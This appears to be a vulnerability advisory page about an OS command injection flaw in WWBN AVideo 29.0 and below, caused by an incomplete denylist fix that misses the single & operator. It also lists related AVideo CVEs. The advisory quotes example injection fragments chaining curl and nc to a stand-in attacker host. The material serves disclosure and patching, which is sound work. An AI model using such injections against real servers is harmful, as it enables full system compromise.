Summary
WWBN AVideo versions 29.0 and below are vulnerable to OS command injection. The fix for CVE-2026-33482 was incomplete and does not neutralize a single & (shell background operator), allowing multiple commands to be chained.
Risk Assessment
An attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server, leading to full system compromise.
Recommendation
Immediately update AVideo to a version containing commit c1cfa2bea8a351a1d07f5758f82887403e3abf1f which patches the vulnerability.
Other vulnerabilities in WWBN AVideo
See all- CVE-2026-89243High
WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in UserGroups::setGroup_name() that fails to sanitize group_name input. Administrators with canAdminUserGroups permission can inject malicious HTML and JavaScript that executes in the browser when other administrators access the user manager interface.
- CVE-2026-43885High
WWBN AVideo is an open source video platform that, in versions up to 29.0, allows unauthenticated users to read APISecret from objects/plugins.json.php. This enables them to call protected API endpoints, such as users_list, without logging in.
- CVE-2026-86190Critical
WWBN AVideo contains a broken access control vulnerability in videoViewsInfo endpoints that returns complete user records including password hashes, recovery tokens, and live session identifiers to unauthenticated callers when a hash parameter is provided. Attackers can use the disclosed session identifier to hijack viewer sessions, including administrator accounts, and obtain sensitive personal data for all video viewers.
- CVE-2026-86189Critical
WWBN AVideo contains a path traversal vulnerability in notify.ffmpeg.json.php that allows unauthenticated attackers to write files to arbitrary locations by supplying a caller-chosen path in the avideoRelativePath parameter. Attackers can replay any previously issued ciphertext as a notifyCode token, which is decrypted but never validated, to bypass authentication and write files to the application root and subdirectories.
- CVE-2026-85154Critical
WWBN AVideo contains an authentication failure vulnerability where the video_id_hash credential is a non-expiring, non-revocable bearer token that grants full administrator session access to the video owner's account. Attackers who obtain a video_id_hash can replay it indefinitely to authenticate as the video owner with full privileges, and the credential remains valid even after the owner changes their password.
- CVE-2026-105089High
WWBN AVideo through 29.2.0 contains a stored cross-site scripting vulnerability that allows users with upload permission to inject script by setting a malicious video trailer1 URL. The value is rendered unescaped in YouPHPFlix2 templates and channel playlists, letting attackers break out of onclick strings or iframe src attributes to execute JavaScript in victims' browsers.
- CVE-2026-105086High
WWBN AVideo 12.4 through 29.2.0 contains a stored cross-site scripting vulnerability that allows authenticated uploaders to inject HTML by submitting doubly-encoded entities in video titles. Because safeString() strips tags before decoding entities and runs twice via setTitle() and save(), attackers can store markup that executes in trending, gallery, embed, and playlist pages.
- CVE-2026-92915High
WWBN AVideo through commit e01e41ecc contains a broken access control flaw in objects/userVerifyEmail.php. The script disables the login requirement, takes users_id directly from the query string and calls User::sendVerificationLink() with no session, CSRF token, relationship check or rate limit, allowing an unauthenticated attacker to send unlimited verification emails, enumerate accounts and write password-recovery tokens onto victim accounts.
- CVE-2026-91965High
WWBN AVideo through 29.0 fails to enforce user-group restrictions in the plugin/Live/stats.json.php and plugin/Live/calendar.json.php endpoints. Unauthenticated attackers can retrieve restricted live transmission details including stream keys, titles, descriptions, owner information, and direct HLS playback URLs by accessing these endpoints.
- CVE-2026-90552Medium
WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate playlist ownership in the Playlists_schedules/list.json.php and Live/calendar.json.php endpoints, allowing authenticated and unauthenticated users to read private playlist schedule metadata. Attackers with canStream privileges or no authentication can retrieve schedule names, descriptions, timestamps, and playlist identifiers by querying these endpoints without ownership checks.
Original NVD description (English source)
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
